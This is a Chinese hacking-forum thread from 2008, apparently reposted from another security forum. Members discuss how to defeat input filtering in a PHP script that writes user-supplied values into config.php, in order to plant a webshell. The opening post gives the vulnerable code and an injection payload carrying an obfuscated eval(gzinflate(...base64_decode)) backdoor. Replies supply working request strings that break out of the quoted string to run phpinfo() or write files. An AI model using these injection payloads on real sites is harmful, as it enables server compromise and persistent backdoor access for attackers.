标题:
[讨论]如何突破这段代码写入一句话[更新]
[打印本页]
作者:
valen886
时间:
2008-7-25 13:52
标题:
[讨论]如何突破这段代码写入一句话[更新]
[讨论]如何突破这段代码写入一句话[更新]
信息来源:邪恶八进制信息安全团队(
www.eviloctal.com
)
这里先向楼下回帖的朋友道个歉,由于发帖时疏忽,没有仔细看代码,导致代码发错。
环境如下:
PHP中的magic_quotes_gpc为on
原来发错的代码:
<?
$fp = @fopen("config.php", "w");
$myarrs = $_REQUEST["conf"];
if (isset($fp)) {
@fputs($fp, "<?php\n// Created ".date("Y-m-d H:i:s")."\n\n");
$forbidden_values = array('{', '}', '$');
foreach ($myarrs as $key => $value) {
$value = str_replace($forbidden_values, '', $value);
@fputs($fp, "// ".$Site_conF[$key][1]."\n\$S_conf[\"".$key."\"] = \"".str_replace('"', '\\"', $value)."\";\n\n");
}
@fclose($fp);
print "<div align=\"center\"><strong>config_saved</strong></div>";
} else {
print "<div align=\"center\"><strong>FAIL</strong></div>";
}
@fclose($fp);
?>
现在需要突破的代码是:]
< ?
$fp = @fopen("config.php", "w");
$arrVar = $_REQUEST["conf"];
if (isset($fp)) {
@fputs($fp, "<?php \n# Created ".date("Y-m-d H:i:s")."\n\n");
foreach ($arrVar as $key => $value) {
@fputs($fp, "// ".$S_CONF[$key][1]."\n\$S_CONF[\"".$key."\"] = \"".htmlspecialchars($value)."\";\n\n");
}
@fputs($fp, "\n?>");
@fclose($fp);
print "<div align=\"center\"><strong>config_saved</strong></div>";
}
else {
print "<div align=\"center\"><strong>entryins_fail</strong></div>";
}
@fclose($fp);
?>
实现目的:在config.php里写入一句话,能成功连接。
对原来发错的代码,由于它在CONN里的对单引号作了stripcslashes处理,所以,我的突破思路是用压缩方法 传递如下参数:
\";?>
<?php
eval(gzinflate(gzuncompress(base64_decode('eJzz1vU+czGgk/8DP1+nnqant17n1S1sDABh6QgQ'))))
?>
对于现在需要突破的这个代码,我仍无法解决,请大家讨论。TTFCT http://WWW.TTFCT.COM
帖子279 精华
4
积分4349 阅读权限100 性别男 在线时间111 小时 注册时间2006-2-13 最后登录2008-7-20
查看详细资料
TOP
爱要怎么说出口
hackest
运维管理组
作者:
肥华叔
时间:
2008-7-25 13:52
不在我能力范围之内,爱莫能助
My Blog:http://www.hackest.cn/ [H.S.T]:http://www.hackm.com/
帖子882 精华
20
积分5849 阅读权限150 性别男 来自广东 在线时间941 小时 注册时间2006-10-12 最后登录2008-3-3
查看个人网站
查看详细资料
TOP
您知道您年薪应是多少?
ttfct
荣誉会员
作者:
LXQ
时间:
2008-7-25 13:52
会PHP的朋友都来看看,看有方法突破不TTFCT http://WWW.TTFCT.COM
帖子279 精华
4
积分4349 阅读权限100 性别男 在线时间111 小时 注册时间2006-2-13 最后登录2008-7-20
查看详细资料
TOP
软件项目外包
小贼
荣誉会员
作者:
神童
时间:
2008-7-25 13:52
好象也不在俺滴管辖范围内
webblog: http://hi.baidu.com/zei86/
帖子146 精华
1
积分3148 阅读权限100 在线时间59 小时 注册时间2006-9-17 最后登录2008-6-29
查看详细资料
TOP
剑心
荣誉会员
作者:
hycmx
时间:
2008-7-25 13:52
本来这种写法是非常好的!!!赞个,但是他逻辑上存在点小问题导致可以轻易写shell,在你这个条件下
复制内容到剪贴板
代码:
fuck.php?conf[a]=abc";phpinfo();//
如果方便希望能说下这个脚本的名字
谢谢
帖子83 精华
0
积分3045 阅读权限100 在线时间84 小时 注册时间2005-1-2 最后登录2008-4-11
查看详细资料
TOP
让女孩一夜变的更有女人味
剑心
荣誉会员
作者:
紫绫
时间:
2008-7-25 13:52
可能没说到位,上面能证明可以用函数了,不过不允许用变量那么就简单了
fuck.php?conf[a]=abc";fputs(fopen(urldecode(")))//
自己发挥吧
帖子83 精华
0
积分3045 阅读权限100 在线时间84 小时 注册时间2005-1-2 最后登录2008-4-11
查看详细资料
TOP
少女暴富的隐秘(图)
剑心
荣誉会员
作者:
沙包
时间:
2008-7-25 13:52
仔细想写会发现他这个等于没过滤 :) 呵呵
有意思的脚本
帖子83 精华
0
积分3045 阅读权限100 在线时间84 小时 注册时间2005-1-2 最后登录2008-4-11
查看详细资料
TOP
让女孩一夜变的更有女人味
ttfct
荣誉会员
作者:
死性不改
时间:
2008-7-25 13:52
给楼上的道个歉,我把代码发错了。TTFCT http://WWW.TTFCT.COM
帖子279 精华
4
积分4349 阅读权限100 性别男 在线时间111 小时 注册时间2006-2-13 最后登录2008-7-20
查看详细资料
TOP
aosemp
晶莹剔透§烈日灼然
欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/)
Powered by Discuz! 7.2